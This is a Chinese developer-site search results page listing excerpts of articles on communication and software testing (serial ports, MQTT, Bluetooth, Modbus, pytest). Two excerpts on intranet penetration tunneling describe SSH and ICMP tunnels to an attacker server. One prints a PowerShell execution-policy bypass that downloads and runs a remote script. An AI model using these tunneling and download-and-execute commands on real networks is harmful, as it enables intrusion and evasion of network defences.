首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 【硬件通讯测试方案】

    硬件通讯测试方案 可以分为硬件测试和软件测试两部分。 下面给出一个基本的串口通讯测试方案: 硬件测试: 确认串口设备是否正常工作:连接串口设备到计算机,并使用串口调试工具(如Tera Term)打开串口,发送一条测试信息,确认能够正确接收数据。 软件测试: 编写串口通讯测试程序:使用编程语言(如C、C++、Python等)编写测试程序,通过串口发送和接收数据。 程序可以包括以下功能: 打开串口 设置串口参数(如波特率、数据位、停止位等) 发送数据 接收数据并验证 关闭串口 运行测试程序:在测试计算机上运行编写的串口通讯测试程序,测试串口通讯的稳定性和可靠性 以上是一个基本的串口通讯测试方案,根据具体需求,可以进一步完善测试方案,增加更多的功能和验证方法。 软件测试方案 指对软件进行测试的一套计划和方法。

    22510编辑于 2025-08-29
  • 来自专栏听雨堂

    用Nunit测试通讯程序

        对于Nunit,我是个纯粹的新手,没想到,第一个练手的,居然是一个通讯程序。难度略微大了点。我的通讯程序是一个类似通讯服务器的程序,能够监听和维持多个连接,并实现向任意连接的收发数据。 因为原来实现过类似的东西,这次做的步子又前进了一些,把整个服务器的这种工作模式抽象出来了,做成了一个与具体业务无关的通讯层。 不过,现在我有Nunit,更准确的说,是有了Testdriven.Net,终于可以实现这种“局部测试”了。     为了测试,写了一个简单的终端模拟类,用来和服务器通讯。 然后构造测试的代码,经过半天的摸索,终于差不多了,比较高兴。中间被卡了一段时间,后来把收和发都放到独立与测试程序的线程中,问题解决了。 ,在10秒内,如果收到5个包,则测试通过。         

    1K70发布于 2018-01-23
  • 来自专栏全栈程序员必看

    datax(9):Job和TaskGroup的通讯机制

    TaskGroupContainer: TaskGroup执行器,负责执行一组Task的工作单元,类似Yarn中的TaskTracker(Yarn中的JobTracker和Yarn中的TaskTracker通过RPC进行通讯

    88050编辑于 2022-08-29
  • 来自专栏QA一隅

    iOS安全测试—网络通讯安全

    通讯协议安全 除了上面提到的明文传输密码的问题外,移动端应用还要面对黑客对于通讯协议的破解的威胁。在成功破解了通讯协议后,黑客可以模拟客户端登录,进而伪造一些用户行为,可能对用户数据造成危害。 例如网络上游戏代练服务,有可能是该游戏的通讯协议被破解,黑客制作出了代练的机器人程序。 通讯协议被破解除了对于移动端游戏有严重危害外,对于应用也有很大的危害。 而 iPhone 设备上的 iMessage 通讯协议据说也被破解了,所以很多 iPhone 用户会收到来自 iMessage 的垃圾广告。 对于以上提到的问题,开发者可以选择类似protobuf (Google 提供的一个开源数据交换格式,其最大的特点是基于二进制,因此比传统的 JSON 格式要短小得多) 之类的二进制通讯协议或者自己实现通讯协议

    1.6K20发布于 2021-08-09
  • 来自专栏web全栈

    消息通讯——MQTT安全认证和测试

    使用mqtt.fx作为mqtt客户端进行测试: 设置完成之后点击连接即可: 测试订阅主题: 测试发布消息 发布之后看一下是否收到(客户端已订阅此主题): 这种无认证方式的优缺点非常明显: 优点: 2.URL地址错误 3.3306数据库端口没有开 4.防火墙 或者云服务器安全组 2) 测试连接认证 然后我们使用官方的MQTTX工具测试连接 注意:如果账号密码都正确,还是连接失败 测试ACL权限控制 来到ACL权限控制,使用到数据库mqtt_acl数据表。 测试订阅失败(任意一个主题进行订阅) 测试订阅成功 最后可以使用不同的acces允许的操作进行测试,但需要注意的还是:ACL认证在遍历时是按照顺序来做遍历的,注意ACL认证执行的顺序。 测试同一个用户登录同一个clientId 使用js客户端登录 使用Mtqq.fx登录 测试不同用户登录同一个clientId 出现和上述同样的情况,前一次的登录的客户端被挤下线。

    3.1K10编辑于 2022-09-26
  • 来自专栏APP开发

    手机APP与蓝牙通讯测试

    手机APP与蓝牙通讯测试是确保蓝牙功能稳定性和用户体验的重要环节。以下是测试的框架、方法和工具,帮助您全面覆盖蓝牙通讯测试需求。 Robolectric:用于单元测试,模拟蓝牙环境。JUnit:用于编写单元测试和集成测试。(2)iOS平台CoreBluetooth:通过模拟BLE设备或使用真实设备进行测试。 XCTest:用于单元测试和UI测试。XCUITest:用于自动化UI测试,验证蓝牙功能的界面交互。(3)跨平台Appium:支持Android和iOS的自动化测试,可用于蓝牙功能的UI测试。 (3)性能测试连接速度:测试设备连接的时间是否符合预期。数据传输速度:测试数据传输的速率和延迟。功耗测试测试蓝牙功能对手机电池的影响。 通过以上测试框架、方法和工具,可以全面覆盖手机APP与蓝牙通讯测试需求,确保蓝牙功能的稳定性和用户体验。

    1.3K10编辑于 2025-03-06
  • 来自专栏FreeBuf

    内网渗透测试:隐藏通讯隧道技术

    shell -N:静默连接,连接后看不到具体会话 -g:允许远程主机连接本地用于转发的端口 -L:本地端口转发 -R:远程端口转发 -D:动态转发(SOCKS 代理) -p:指定ssh端口 本地转发实验 测试环境 远程转发实验 还是相似的测试环境,但此时内网中没有了边界设备,所以攻击者vps不能访问内网中的这三台机器;内网web服务器可以访问外网vps,windows server 8和域控制器都不能访问外网vps HTTP(S) 协议 HTTP协议即超文本传输协议,是Internet上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。 测试环境如下: 内网有三台主机,其中web服务器有两个网卡,分别连接内外网,其余内网两台主机无法与外网通信,但可以与web服务器win7互访;攻击者vps可以访问web服务器。 在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了。 在攻击者公网vps上面上传ew_for_linux64并执行: .

    2.9K40发布于 2020-07-13
  • 来自专栏啄木鸟软件测试

    软件性能测试(连载9

    交换区的总量 Swap: ###k used 使用的交换区总量 Swap: ###k free 空闲的交换区总量 Swap: ###k cached 缓冲的交换区总量 top命令进程中关于内存性能如表3-9所示 表3-9 top命令进程中关于内存性能参数 标记 解释 VIRT 进程虚拟内存的大小,只要是进程申请过的内存,即便还没有真正分配物理内存,也会计算在内。

    1.2K40发布于 2020-02-20
  • 来自专栏剑指工控

    艾默生质量流量计通讯测试

    1) 质量流量计产品手册 2) 串口线,或者协议网关 3) 笔记本电脑 4) 软件:ModbusPull/ModScan等通用测试软件,ProLink 艾默生专用软件 5) 艾默生质量流量计Modbus 简易手册(百度搜索) 如何接线、如何调试: 1)这里主要介绍1700/2700,打开变送器后盖,就可以看到接线端子,查看说明书对端子的定义如下:图中分别是电源和RS485的接线示意图,端子9和10为DC24V 5) 进行测试,一般常用的参数是:质量瞬时量,体积瞬时量,质量累计量,体积累计量,温度,密度等值,对应的Modbus寄存器地址可以在《艾默生质量流量计Modbus简易手册》中找到。 至此质量流量计的通讯测试结束。 通讯方面专业版支持以太网通讯

    1.7K30发布于 2021-11-09
  • 来自专栏FreeBuf

    内网渗透测试研究:隐藏通讯隧道技术

    -r 发送包含字符串的单个测试icmp请求,然后退出。这是用于测试连接的。-d 毫秒请求之间的延迟(以毫秒为单位) -o 毫秒响应超时(以毫秒为单位)。 下载地址: http://freshmeat.sourceforge.net/projects/ptunnel/ 下面我们做一个测试测试环境如下: ? 传输层隧道技术 在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,可以使用防火墙命令打开指定的端口或关闭防火墙。 内网代理 测试环境如下: ? 上面执行以下命令: powershell -ExcutionPolicy bypass IEX(New-Object Net.WebClient).DownloadString("http://39.1xx.xx9.

    2.4K60发布于 2020-07-09
  • 来自专栏啄木鸟软件测试

    精准测试及其工具(连载9

    4 星云客户端企业项功能说明 4.1智能的回归测试用例选取分析算法 前置条件:最少要有一个用星云示波器做过数据的历史版本与一个需要回归新插装版本 精准测试云平台采用“一种基于测试用例与代码逻辑、源码版本关系矩阵的测试用例选取方法 ”的回归技术,在回归测试时,基于智能算法,完全自动筛选计算出每个测试用例受影响的程序,用户可以根据此数据来进行用例回归测试的优先级排序,把高风险的用例测试放到前面,大大减少了回归测试的时间。 测试用例是关联工程的,所以同一工程下新建的版本继承了上面所有版本的测试用例,我们在进行智能回归测试用例选取的时候会用当前版本的代码去和以前版本代码去做对比,通过哪些对比得到哪些函数被改变了,并通过这些改变的函数对涉及到的测试用例做统计 图73回归在示波器页面的测试用例显示 4.2 测试用例的聚类分析算法 前置条件:有一定数量的测试用例数据 精准测试云平台根据的函数执行剖面的向量化信息,对测试用例进行聚类分析, 从类中检出中心点测试用例以及其附近的测试用例 聚类算法是通过测试用例的代码相似程度得出结果的,所以可以帮助我们划分出来有哪些测试用例的代码相似程度比较高,这样在我们聚的一类的测试用例Bug测试用例比较多的时候,我们在下个版本的时候可以着重测试该类测试用例

    81330发布于 2019-12-12
  • 来自专栏啄木鸟软件测试

    安全测试工具(连载9

    星云测试 http://www.teststars.cc 奇林软件 http://www.kylinpet.com 联合通测 http://www.quicktesting.net

    85310发布于 2019-12-12
  • 来自专栏啄木鸟软件测试

    单元测试工具(连载9

    3.2 unittest的测试覆盖率分析 利用coverage工具可以分析单元测试的覆盖率,首先我们通过pip命令下载coverage。 ) 为假,测试通过 assertIs(a, b[, msg=None]) a与bl相同,测试通过 assertIsNot(a, b[, msg=None]) a与b,测试通过 assertIsNone( x[, msg=None]) x 是空,测试通过 assertIsNotNone(x[, msg=None]) x 不是空,测试通过 assertIn(a, b[, msg=None]) a 包含b,测试通过 ,并且可以在测试完毕形成一个HTML格式的测试报告。 ='测试用例执行报告') runner.run(discover) fp.close() 测试报告如图30所示。

    59740发布于 2019-12-12
  • 来自专栏H2Cloud

    linux下IPC latency 进程间通讯延迟测试结果

    cpu MHz : 1995.021 IPC latency: IPC TYPE:   MessageSize:   Average Latency: unix socket   10K       9us   10K       113901 msg/s         9112 Mb/s pipe        10K        146724 msg/s          11737 Mb/s 测试代码 : http://github.com/rigtorp/ipc-bench 想在linux下选择一个IPC,主要倾向于unix socket,ipc-bench测试下来 感觉更有底了,10K数据传输9us

    3.4K40发布于 2018-03-09
  • 来自专栏Hello工控

    最全的PLC通讯协议解析之EtherCAT篇(9) :线缆标准及接线

    线缆标准 我们已经在前期介绍过EtherCAT总线的线缆标准,这里我们再介绍下: EtherCAT通讯电缆定义标准接口 平行线还是交叉线 一般在EtherNet以太网接线有两种形式平行(直连)和交叉:

    2.9K11编辑于 2024-06-25
  • 来自专栏FunTester

    应对自动化测试9大挑战

    测试覆盖率 测试覆盖率是通过测试验证的重要指标之一。当人们表示他们在构建测试覆盖率方面遇到挑战时,通常意味着他们没有足够的资源来足够快地编写测试以跟上测试需求的增长。 同步测试测试在自动化平台中执行时,测试步骤的时间必须与应用程序的时间相匹配,否则测试将找不到正确的元素。 使用代码自定义无代码测试 市场上有许多低代码或无代码测试自动化工具,它们通过使用基于模型或记录/回放的方法来编写测试来简化 UI 测试编写。 重用测试组件 不要重复自己,是一个也适用于测试的编码概念。如果测试包含在其他步骤中经常重复的步骤,则对基础元素的更改意味着需要更新许多测试测试报告还需要提供访问更新详细的测试信息的功能。

    98120编辑于 2022-12-09
  • 来自专栏测试开发干货

    接口测试平台设计思路-9:成品总览

    下节预告:白盒测试管理模块

    27920编辑于 2022-05-18
  • 来自专栏Java Life

    程序员逻辑测试题(9)

    程序员逻辑测试题(9) 如果老王是大学教师,又写过许多哲学论文,则他一定是哲学系的教师。 这个断定是根据以下哪项作出的? A.老王写过许多哲学论文。 B.哲学系的教员写过许多哲学论文。

    60620发布于 2019-08-23
  • 来自专栏京程一灯

    对网站进行测试9 个要点

    网站或网页的效率在很大程度上取决于测试,并且涉及对网站或相关软件的细致检查。那么我们如何该测试 Web 程序呢?在探究 Web 程序测试服务的更多细节之前,先讨论一下测试为何如此重要。 以下是测试网站的十个要点,它们可以帮你用更短的时间得出更加准确可信的测试结果。 1. 将探索性测试与传统技术结合 用于网站测试最有效的技术之一是探索性测试。探索性测试有助于减少测试时间并发现其他缺陷。 在探索性测试中,测试人员必须发挥创造力编写并运行测试用例。 更重要的是,可以通过将探索性测试与各种黑帽和白帽软件测试技术集成,从而解决探索性测试的缺点。 永远不要低估完整性测试 许多测试人员认为完整性测试是回归测试的辅助元素,从而破坏了完整性测试的重要性。但是,健全性测试有助于在有限的时间内评估 Web 应用中的功能。 9. 进行持续的负载测试 压力测试在网站测试中是一个令人望而生畏的领域,它有助于评估网站在正常压力和峰值压力条件下的性能。可以利用复杂而全面的自动化测试工具来加速负载测试

    94110发布于 2021-03-16
  • 来自专栏Mokwing

    pytest 测试框架学习(9):pytest.main

    pytest.main 含义 使用 含义 main: 在测试运行进程结束后返回退出代码。 源码: ? args: 命令行参数列表。

    1.1K30发布于 2020-09-08
领券